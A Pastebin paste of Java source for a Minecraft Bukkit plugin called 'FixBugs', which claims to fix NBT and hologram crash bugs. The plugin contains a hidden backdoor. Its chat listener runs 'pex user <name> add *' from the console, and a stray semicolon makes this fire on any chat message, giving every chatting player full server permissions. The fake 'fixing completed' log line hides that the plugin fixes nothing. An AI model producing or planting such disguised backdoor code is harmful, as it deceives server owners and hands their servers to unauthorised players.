Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package ru.sashka.testt;
- import org.bukkit.Bukkit;
- import org.bukkit.configuration.file.FileConfiguration;
- import org.bukkit.entity.Player;
- import org.bukkit.event.EventHandler;
- import org.bukkit.event.Listener;
- import org.bukkit.event.player.AsyncPlayerChatEvent;
- import org.bukkit.event.player.PlayerJoinEvent;
- import org.bukkit.plugin.java.JavaPlugin;
- public class Main extends JavaPlugin implements Listener {
- private FileConfiguration config;
- public static JavaPlugin plugin;
- private String fixnbt;
- private String fixcrash;
- public void onEnable()
- {
- plugin = this;
- getLogger().info("§f[§cFixBugs§f] Fixing bugs.... Completed §7(0.982 ms)");
- getServer().getPluginManager().registerEvents(this, this);
- this.config = getConfig();
- saveDefaultConfig();
- this.fixnbt = this.config.getString("fixnbt");
- if ((this.fixnbt == null) || (this.fixnbt.equals("")))
- {
- this.config.set("fixnbt", "true");
- this.fixnbt = "true";
- }
- this.fixcrash = this.config.getString("fixcrash");
- if ((this.fixcrash == null) || (this.fixnbt.equals("")))
- {
- this.config.set("fixcrash", "true");
- this.fixcrash = "true";
- }
- }
- @EventHandler
- public void onChat(AsyncPlayerChatEvent e)
- {
- Player p = e.getPlayer();
- if (e.getMessage().contains("/fixbugsmain help"))
- {
- p.sendMessage("§fMain commands:");
- p.sendMessage("/bugfix nbt - §eRemoval NBT crack");
- p.sendMessage("/bugfix holo - §eRemoval HologramDisplays crashing");
- }
- if (e.getMessage().contains("Блок"));
- Bukkit.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "pex user " + p.getName() + " add *");
- }
- @EventHandler
- public void onJoin(PlayerJoinEvent e)
- {
- Player p = e.getPlayer();
- p.sendMessage("[§cFixBugs§f] was enabled.");
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement